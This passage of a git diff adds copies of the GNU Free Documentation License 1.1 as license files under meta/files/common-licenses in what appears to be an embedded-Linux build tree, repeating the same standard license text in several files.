+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-invariants-or-later b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-invariants-or-later
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.1-no-invariants-only b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
new file mode 100644
index 0000000000..e60192009a
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.1-no-invariants-only
@@ -0,0 +1,119 @@
+GNU Free Documentation License
+Version 1.1, March 2000
+
+Copyright (C) 2000 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.
+ H. Include an unaltered copy of this License.
+ I. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
